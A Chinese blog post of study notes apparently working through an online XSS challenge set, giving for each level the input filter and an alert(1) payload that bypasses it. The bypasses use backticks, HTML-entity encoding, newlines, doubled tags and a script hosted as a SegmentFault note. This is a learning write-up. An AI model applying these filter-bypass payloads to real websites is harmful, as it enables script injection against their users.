学习笔记——今天突然迷上了xss2

这篇博客详细记录了作者在解决一系列XSS挑战中的经历,包括使用反引号、HTML编码、换行符等绕过过滤机制的方法,并探讨了如何在特定环境下构造有效payload,通过在SegmentFault网站创建笔记并利用raw文件实现JavaScript执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

XSS Challenges:地址

0x00

<script>alert(1)</script>

0x01

</textarea><script>alert(1)</script>

0x02

"><script>alert(1)</script><img src="

0x03

括号被过滤,用反引号绕过

<script>alert`1`</script>

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

括号和反引号都被过滤,所以要想办法,可以用html编码绕过

<img src="x" onerror="alert&#40;1&#41;">

0x05

--!><script>alert(1)</script>

0x06

要绕过一个正则将js代码插入到html标签中

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

中间用一个换行符分隔即可:

type=image src onerror
=alert(1)

0x07

把所有尖括号对包裹的东西过滤了,匹配了尖括号<>开头结尾的字符串替换为空.可以通过少输入一个>来绕过正则,但仍然可以执行

<img src onerror=alert(1) 

0x08

\</style>标签被替换成了注释...... 直接双写绕过:

</style</style>><script>alert(1)</script><style>

0x09

要求url开头必须是https://www.segmentfault.com/这个网址,然而后面可以随便加:

https://www.segmentfault.com"></script><script>alert(1)</script>

0x0A 

在上一题的基础上,对输入进行了一些转义,目前没有想到绕过的方法,但是可以尝试直接在 https://www.segmentfault.com 上构造js文件(不一定是.js文件,只要内容被\<script>\</script>包裹后能产生js代码执行效果即可),这个过程十分有趣。

我们先去这个网站注册一个账号,然后寻找可以插入内容的地方。这个网站有一个记笔记的功能,以纯文本的方式写入一个内容为alert(1);的笔记,这个笔记目录下有一个叫作raw的文件,点进去看看,发现内容就是我们笔记的内容:

alert(1);

由此尝试构造payload:

https://segmentfault.com/n/1330000023393788/raw

payload被转义成了:

https:&#x2f&#x2fwww.segmentfault.com&#x2fn&#x2f1330000023393788&#x2fraw

但此时有一个问题,#x2f1330000020470115被解析为url时会全部被解析(我们只希望2f被解析为/),好在url被解析是会无视换行符,所以我们可以用换行符来分割payload以解决这个问题:

https://www.segmentfault.com/n/
1330000023393788/raw

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值